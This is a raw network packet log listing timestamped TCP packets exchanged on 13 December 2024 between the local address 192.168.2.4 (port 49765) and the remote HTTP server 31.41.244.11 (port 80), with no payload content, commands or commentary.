Dec 13, 2024 01:51:09.697494030 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.697597027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.697782040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.697782993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.701404095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.701457024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.701510906 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.701510906 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.768889904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.768991947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.769078016 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.769548893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.772830009 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.772912979 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.773083925 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.773149967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.781474113 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.781552076 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.781599045 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.781666994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.790189028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.790242910 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.790391922 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.790391922 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.798417091 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.798640966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.798675060 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.798978090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.807066917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.807122946 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.807446957 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.815546989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.815599918 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.815907955 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.823982000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.824083090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.824460030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.832109928 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.832488060 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.832698107 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.832885981 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.840668917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.840708017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.840852976 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.840965033 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.848082066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.848229885 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.848313093 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.848452091 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.855389118 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.855442047 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.855649948 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.855649948 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.961141109 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.961195946 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.961226940 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.961308002 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.963104010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.963171005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.963253021 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.963330030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.967657089 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.967726946 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.967808962 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.967868090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.972155094 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.972230911 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.972270012 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.972328901 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.976614952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.976681948 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.976732016 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.976792097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.981147051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.981208086 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.981293917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.981374979 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.985645056 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.985707998 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.985773087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.985826969 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.990138054 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.990206957 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.990262032 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.990326881 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.994633913 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.994829893 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.994931936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.999353886 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.999532938 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:09.999648094 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:09.999872923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.003721952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.003846884 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.003940105 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.008389950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.008444071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.008527040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.008573055 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.012893915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.013000011 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.013036013 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.013060093 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.017219067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.017308950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.017307997 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.017373085 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.021877050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.021931887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.021962881 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.022000074 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.026221037 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.026304007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.026357889 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.026468992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.030605078 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.030694008 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.031016111 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.031079054 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.035384893 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.035468102 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.035478115 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.035542965 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.039622068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.039696932 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.039774895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.040003061 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.044298887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.044389009 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.044497013 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.044497967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.048780918 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.048870087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.048878908 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.048960924 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.053057909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.053128004 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.153189898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.153280020 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.153333902 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.153393030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.154906034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.154969931 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.155062914 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.155126095 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.157685041 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.157752037 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.157821894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.157931089 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.161274910 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.161355972 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.161392927 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.161468029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.164887905 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.164949894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.164956093 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.165004969 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.168390036 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.168446064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.168474913 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.168507099 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.171788931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.171854973 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.171905041 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.171967030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.175101995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.175185919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.175236940 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.175303936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.178426027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.178498030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.178544044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.178596973 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.181622982 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.181683064 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.181742907 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.181854010 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.184899092 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.184956074 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.184957027 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.185010910 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.188086033 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.188158989 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.188225985 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.188290119 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.191440105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.191474915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.191867113 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.194547892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.194725037 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.194807053 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.195027113 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.197760105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.197994947 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.198035002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.198194027 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.200968981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.201178074 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.201277018 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.201592922 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.204197884 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.204374075 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.204374075 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.204437017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.207463980 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.207670927 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.207691908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.207758904 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.210675001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.210800886 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.210851908 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.210880041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.213881016 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.213948965 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.214020014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.214077950 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.217082977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.217145920 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.217230082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.217288017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.220319033 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.220386028 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.220455885 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.220561028 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.223541975 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.223603964 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.223674059 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.223731041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.226774931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.226923943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.226994991 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.227205992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.230026960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.230215073 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.230216026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.230439901 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.233232021 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.233429909 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.233454943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.233829021 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.236422062 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.236620903 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.236627102 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.236808062 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.239768028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.239801884 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.239851952 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.239881992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.242868900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.243069887 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.243119001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.243359089 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.246112108 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.246186018 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.246225119 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.246536970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.249341011 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.249423981 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.249445915 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.249783039 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.252557993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.252630949 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.252701998 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.252912998 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.255873919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.255990028 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.256158113 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.256504059 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.258999109 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.259186029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.259186029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.259249926 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.262207985 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.262350082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.262382984 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.262411118 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.265496016 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.265562057 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.265758991 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.265822887 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.268690109 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.268943071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.269089937 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.271894932 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.272238970 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.272388935 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.272388935 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.275094986 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.275207043 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.275345087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.345293999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.345304012 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.345398903 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.345592022 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.346312046 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.346379042 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.346436977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.346493006 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.348885059 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.349066973 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.349083900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.349144936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.351505041 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.351579905 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.351625919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.351773977 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.354079008 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.354141951 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.354193926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.354250908 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.356654882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.356717110 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.356743097 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.356822968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.359112024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.359210968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.359229088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.359281063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.361536026 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.361609936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.361648083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.361704111 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.363909960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.363982916 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.364021063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.364084005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.366280079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.366345882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.366364002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.366415024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.368664980 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.368729115 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.368776083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.368851900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.370946884 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.371010065 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.371054888 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.371110916 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:10.373204947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:10.373279095 CET	49765	80	192.168.2.4	31.41.244.11
